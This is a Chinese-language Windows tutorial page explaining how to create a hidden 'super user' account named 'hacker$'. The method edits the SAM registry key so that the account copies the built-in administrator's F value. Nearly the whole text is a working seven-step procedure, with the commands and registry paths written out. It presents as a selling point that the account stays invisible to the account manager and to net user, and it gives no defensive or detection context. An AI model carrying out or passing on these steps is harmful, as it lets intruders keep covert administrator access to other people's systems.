Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學

為 Windows 建立隱藏超級用戶:注冊表權限操作實戰

編輯:XP 系統基礎知識

regedit.exe 無法設定登錄表項目權限,regedt32.exe 可。NT/2000/XP 帳號資訊在 HKEY_LOCAL_MACHINE\SAM\SAM,除 SYSTEM 外無權讀取。利用 regedt32.exe 給登入帳號(如 Administrator)對 SAM 鍵「完全控制」權限,即可讀寫 SAM 內容。

實戰步驟

  1. 以 Administrator 登入終端服務主機。命令列建立隱藏帳號:
    net user hacker$ 1234 /add($ 尾碼隱藏帳號)。
  2. 執行 regedt32.exe,對 HKEY_LOCAL_MACHINE\SAM\SAM →「權限」→「新增」→ 加入登入帳號(Administrator)設「完全控制」。僅新增當前登入帳號,勿動原有帳號/群組。
  3. 執行 regedit.exe,開啟 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\hacker$。
  4. 匯出 hacker$、00000409、000001F4 三分支為 .reg 檔。記事本編輯:將超級用戶對應 000001F4 下鍵 F 的值複製覆蓋 hacker$ 對應 00000409 下的 F 值,再合併 00000409.reg 與 hacker$.reg。
  5. 命令列刪除帳號:net user hacker$ /del。
  6. regedit.exe 按 F5 重新整理 →「檔案」→「匯入」修改後的 hacker$.reg。
  7. 隱藏超級用戶 hacker$ 建立完成。關閉 regedit.exe,在 regedt32.exe 將 SAM 權限改回原狀(刪除剛新增的 Administrator 權限)。

關鍵特性與警告

  • 帳號管理器、net user 皆看不到 hacker$。
  • 建立後無法再改密碼,若用 net user 改密會導致帳號在管理器顯示且無法刪除。
Copyright © Windows教程網 All Rights Reserved